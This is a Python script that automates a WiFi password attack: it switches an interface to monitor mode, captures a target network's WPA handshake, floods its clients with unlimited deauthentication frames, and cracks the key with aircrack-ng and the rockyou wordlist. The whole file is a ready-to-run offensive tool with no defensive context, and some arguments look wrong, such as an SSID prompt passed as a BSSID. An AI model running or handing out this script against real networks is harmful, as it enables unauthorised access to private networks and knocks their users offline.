import subprocess import threading import time def run_command(command): """Run a shell command with sudo and return the output.""" result = subprocess.run(['sudo'] + command, capture_output=True, text=True) return result.stdout def change_to_monitor_mode(interface): """Change the WiFi interface to monitor mode.""" run_command(['airmon-ng', 'start', interface]) def change_to_managed_mode(interface): """Change the WiFi interface back to managed mode.""" run_command(['airmon-ng', 'stop', interface]) run_command(['service', 'network-manager', 'start']) def get_wifi_interfaces(): """Get a list of WiFi interfaces.""" result = run_command(['iwconfig']) interfaces = [] for line in result.split('\n'): if 'IEEE 802.11' in line: interfaces.append(line.split()[0]) return interfaces def get_target_network(interface): """Prompt the user for the target network SSID.""" ssid = input("Enter the SSID of the target network: ") return ssid def capture_handshake(target_network, interface): """Capture the handshake of the target network.""" run_command(['airodump-ng', '--bssid', target_network, '-w', 'capture', interface]) def deauthenticate_clients(target_network, interface): """Deauthenticate clients to capture handshake.""" run_command(['aireplay-ng', '--deauth', '0', '-a', target_network, interface]) def crack_password(capture_file, wordlist): """Crack the password using aircrack-ng and a wordlist.""" result = run_command(['aircrack-ng', '-w', wordlist, capture_file]) for line in result.split('\n'): if 'KEY FOUND!' in line: return line.split()[-1] return None def main(): interfaces = get_wifi_interfaces() if not interfaces: print("No WiFi interfaces found.") return interface = interfaces[0] change_to_monitor_mode(interface) target_network = get_target_network(interface) capture_thread = threading.Thread(target=capture_handshake, args=(target_network, interface)) deauth_thread = threading.Thread(target=deauthenticate_clients, args=(target_network, interface)) capture_thread.start() time.sleep(5) # Give some time for airodump-ng to start deauth_thread.start() capture_thread.join() deauth_thread.join() change_to_managed_mode(interface) password = crack_password('capture-01.cap', '~/rockyou.txt') if password: print(f"The password for {target_network} is: {password}") else: print("Failed to crack the password.") if __name__ == "__main__": main()